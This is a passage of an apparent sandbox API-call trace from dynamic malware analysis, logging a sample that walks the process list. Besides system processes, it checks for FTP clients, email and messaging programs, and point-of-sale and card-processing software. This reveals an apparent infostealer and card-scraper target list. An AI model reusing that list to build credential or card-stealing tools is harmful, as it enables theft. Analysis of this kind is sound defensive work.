lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.344] lstrlenW (lpString="audiodg.exe") returned 11 [0067.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.345] lstrlenW (lpString="svchost.exe") returned 11 [0067.345] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.346] lstrlenW (lpString="svchost.exe") returned 11 [0067.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.347] lstrlenW (lpString="dwm.exe") returned 7 [0067.347] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.348] lstrlenW (lpString="explorer.exe") returned 12 [0067.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0067.348] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.349] lstrlenW (lpString="svchost.exe") returned 11 [0067.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0067.350] lstrlenW (lpString="taskhost.exe") returned 12 [0067.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0067.351] lstrlenW (lpString="taskeng.exe") returned 11 [0067.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0067.400] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0067.400] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0067.401] lstrlenW (lpString="while damaged.exe") returned 17 [0067.401] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0067.402] lstrlenW (lpString="hosted_thee.exe") returned 15 [0067.402] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0067.403] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0067.403] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0067.404] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0067.404] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0067.405] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0067.405] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0067.405] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0067.406] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0067.406] lstrlenW (lpString="l_greene_go.exe") returned 15 [0067.406] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0067.407] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0067.407] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0067.408] lstrlenW (lpString="spots wm.exe") returned 12 [0067.408] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0067.409] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0067.409] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0067.410] lstrlenW (lpString="lp imagination.exe") returned 18 [0067.410] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0067.411] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0067.411] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0067.412] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0067.412] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0067.413] lstrlenW (lpString="voluntary teach.exe") returned 19 [0067.414] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0067.415] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0067.415] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0067.416] lstrlenW (lpString="jesse.exe") returned 9 [0067.416] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0067.417] lstrlenW (lpString="partners_format.exe") returned 19 [0067.417] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0067.418] lstrlenW (lpString="predict.exe") returned 11 [0067.418] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0067.419] lstrlenW (lpString="supervisor.exe") returned 14 [0067.419] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0067.420] lstrlenW (lpString="3dftp.exe") returned 9 [0067.420] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0067.421] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0067.421] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0067.422] lstrlenW (lpString="alftp.exe") returned 9 [0067.422] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0067.423] lstrlenW (lpString="barca.exe") returned 9 [0067.423] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0067.424] lstrlenW (lpString="bitkinex.exe") returned 12 [0067.424] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0067.425] lstrlenW (lpString="coreftp.exe") returned 11 [0067.425] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0067.426] lstrlenW (lpString="far.exe") returned 7 [0067.426] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0067.426] lstrlenW (lpString="filezilla.exe") returned 13 [0067.426] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0067.427] lstrlenW (lpString="flashfxp.exe") returned 12 [0067.427] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0067.429] lstrlenW (lpString="fling.exe") returned 9 [0067.429] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0067.430] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0067.430] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0067.432] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0067.432] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0067.433] lstrlenW (lpString="icq.exe") returned 7 [0067.433] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0067.434] lstrlenW (lpString="leechftp.exe") returned 12 [0067.434] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0067.435] lstrlenW (lpString="ncftp.exe") returned 9 [0067.435] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0067.436] lstrlenW (lpString="notepad.exe") returned 11 [0067.436] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0067.437] lstrlenW (lpString="operamail.exe") returned 13 [0067.437] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0067.439] lstrlenW (lpString="outlook.exe") returned 11 [0067.451] CloseHandle (hObject=0xe4) returned 1 [0067.451] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0067.453] lstrlenW (lpString="pidgin.exe") returned 10 [0067.453] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0067.454] lstrlenW (lpString="scriptftp.exe") returned 13 [0067.454] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0067.456] lstrlenW (lpString="skype.exe") returned 9 [0067.456] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0067.457] lstrlenW (lpString="smartftp.exe") returned 12 [0067.457] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0067.458] lstrlenW (lpString="thunderbird.exe") returned 15 [0067.458] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0067.460] lstrlenW (lpString="totalcmd.exe") returned 12 [0067.460] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0067.461] lstrlenW (lpString="trillian.exe") returned 12 [0067.461] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0067.462] lstrlenW (lpString="webdrive.exe") returned 12 [0067.462] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0067.463] lstrlenW (lpString="whatsapp.exe") returned 12 [0067.463] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0067.466] lstrlenW (lpString="winscp.exe") returned 10 [0067.466] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0067.468] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0067.468] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0067.469] lstrlenW (lpString="active-charge.exe") returned 17 [0067.469] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0067.470] lstrlenW (lpString="accupos.exe") returned 11 [0067.470] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0067.472] lstrlenW (lpString="afr38.exe") returned 9 [0067.472] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0067.473] lstrlenW (lpString="aldelo.exe") returned 10 [0067.473] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0067.474] lstrlenW (lpString="ccv_server.exe") returned 14 [0067.475] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0067.476] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0067.476] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0067.478] lstrlenW (lpString="creditservice.exe") returned 17 [0067.478] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0067.479] lstrlenW (lpString="edcsvr.exe") returned 10 [0067.479] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0067.480] lstrlenW (lpString="fpos.exe") returned 8 [0067.480] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0067.482] lstrlenW (lpString="isspos.exe") returned 10 [0067.482] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0067.483] lstrlenW (lpString="mxslipstream.exe") returned 16 [0067.483] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0067.484] lstrlenW (lpString="omnipos.exe") returned 11 [0067.484] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0067.485] lstrlenW (lpString="spcwin.exe") returned 10 [0067.485] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: 